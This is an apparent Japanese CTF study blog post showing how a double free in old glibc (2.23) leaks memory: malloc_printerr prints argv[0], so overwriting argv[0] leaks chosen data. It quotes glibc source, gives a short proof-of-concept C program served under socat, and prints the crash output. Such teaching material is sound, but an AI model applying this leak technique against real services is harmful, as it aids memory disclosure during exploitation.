読者です 読者をやめる 読者になる 読者になる

Pwn De Ring

初心者がPwnを勉強していくために使っている標準出力先です。

double freeを用いたargv[0] leak

double freeの時に呼ばれる関数でも__libc_message関数が呼ばれているので,argv[0] leakが可能という一行で伝わる人は時間の無駄なので,そっと閉じて欲しい.

はじめに

普通の人は,Buffer Overflow対策のためのgccのセキュリティ機構SSP(Stack-Smashing Protection)の検知時に呼ばれる__stack_chk_fail関数によるargv[0] leakの手法は知っているだろう.(katagaitaiCTF勉強会資料4回)
大雑把にこれを説明すると__stack_chk_fail関数が呼ばれた際に内部で呼ばれる__libc_message関数がargv[0]を出力するため,ここを任意のアドレスに書き換えれば,任意の値リークに繋がるという手法である.そのためにはいろいろ環境(xinetd,socat配下等)を考慮しなくてはいけないが,そこはkatagaitaiCTF勉強会資料を見て欲しい.

double freeを用いたargv[0] leak

今回は,Buffer Overflow時ではなく,double free時にも同様のことが起こることを実践する. 通常malloc関数で確保した領域はfree関数で解放するのだが,解放済みの領域を,再度解放できてしまう脆弱性をdouble freeと呼ぶ.通常はありあえないはずだが,条件分岐のバイパスや制御を奪ったあとでは簡単に二回目のfree関数を呼ぶことも難しくはないかもしれない.

現在のglibcmalloc.cでは,double freeをした際にかぎらず,fastbins関係のエラーなど,ほぼmalloc_printerr関数が呼ばれるようになっている.以下にmalloc_printerr関数を示す.

extern char **__libc_argv attribute_hidden;

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
  /* Avoid using this arena in future.  We do not attempt to synchronize this
     with anything else because we minimally want to ensure that __libc_message
     gets its resources safely without stumbling on the current corruption.  */
  if (ar_ptr)
    set_arena_corrupt (ar_ptr);

  if ((action & 5) == 5)
    __libc_message (action & 2, "%s\n", str);
  else if (action & 1)
    {
      char buf[2 * sizeof (uintptr_t) + 1];

      buf[sizeof (buf) - 1] = '\0';
      char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
      while (cp > buf)
        *--cp = '0';

      __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
                      __libc_argv[0] ? : "<unknown>", str, cp);
    }
  else if (action & 2)

上記のコードの下らへんで,__libc_message関数が呼ばれており,これが__stack_chk_fail関数の中でも,引数argv[0]が取られて呼ばれるようになっている.そのため,malloc_printerr関数が呼ばれるとargv[0]が出力されるため,予めargv[0]を任意のアドレスに書き換えておけば,リークすることができるという流れである.

検証

手元でさくっと試せるように下にPocを載せておく.H@CKが出力されれば,勝ち.

// gcc poc.c
#include <stdlib.h>
char target[] = "H@CK";
int main(int argc, char* argv[]) {

  char *p;
  p = malloc(0x10);

  putenv("LIBC_FATAL_STDERR_=1"); // socat配下のため環境変数を設定
  argv[0] = target;               // argv[0]をtargetに設定

  free(p);
  free(p);                        // double free 発生

  return 0;
}

これを以下のようにして動かす.

$ socat tcp-l:8888,reuseaddr,fork exec:./a.out,stderr

いつもどおり繋いでみると,以下のような画面になるはずだ.

$ nc localhost 8888
*** Error in `H@CK': double free or corruption (fasttop): 0x00000000010a6010 ***
======= Backtrace: =========
/lib/x86_64-linux-gnu/libc.so.6(+0x777e5)[0x7f59956357e5]
/lib/x86_64-linux-gnu/libc.so.6(+0x7fe0a)[0x7f599563de0a]
/lib/x86_64-linux-gnu/libc.so.6(cfree+0x4c)[0x7f599564198c]
H@CK[0x400600]
/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f59955de830]
H@CK[0x4004e9]
======= Memory map: ========
00400000-00401000 r-xp 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00600000-00601000 r--p 00000000 00:30 608                                /home/vagrant/ctf/PoC/a.out
00601000-00602000 rw-p 00001000 00:30 608                                /home/vagrant/ctf/PoC/a.out
010a6000-010c7000 rw-p 00000000 00:00 0                                  [heap]
7f5990000000-7f5990021000 rw-p 00000000 00:00 0
7f5990021000-7f5994000000 ---p 00000000 00:00 0
7f59953a8000-7f59953be000 r-xp 00000000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59953be000-7f59955bd000 ---p 00016000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955bd000-7f59955be000 rw-p 00015000 fd:00 5898421                    /lib/x86_64-linux-gnu/libgcc_s.so.1
7f59955be000-7f599577d000 r-xp 00000000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599577d000-7f599597d000 ---p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f599597d000-7f5995981000 r--p 001bf000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995981000-7f5995983000 rw-p 001c3000 fd:00 5899771                    /lib/x86_64-linux-gnu/libc-2.23.so
7f5995983000-7f5995987000 rw-p 00000000 00:00 0
7f5995987000-7f59959ad000 r-xp 00000000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995b80000-7f5995b83000 rw-p 00000000 00:00 0
7f5995ba9000-7f5995bac000 rw-p 00000000 00:00 0
7f5995bac000-7f5995bad000 r--p 00025000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bad000-7f5995bae000 rw-p 00026000 fd:00 5899760                    /lib/x86_64-linux-gnu/ld-2.23.so
7f5995bae000-7f5995baf000 rw-p 00000000 00:00 0
7ffdde641000-7ffdde662000 rw-p 00000000 00:00 0                          [stack]
7ffdde6f7000-7ffdde6f9000 r--p 00000000 00:00 0                          [vvar]
7ffdde6f9000-7ffdde6fb000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

上記の通り,H@CKが出力されていることがわかる.勝ち.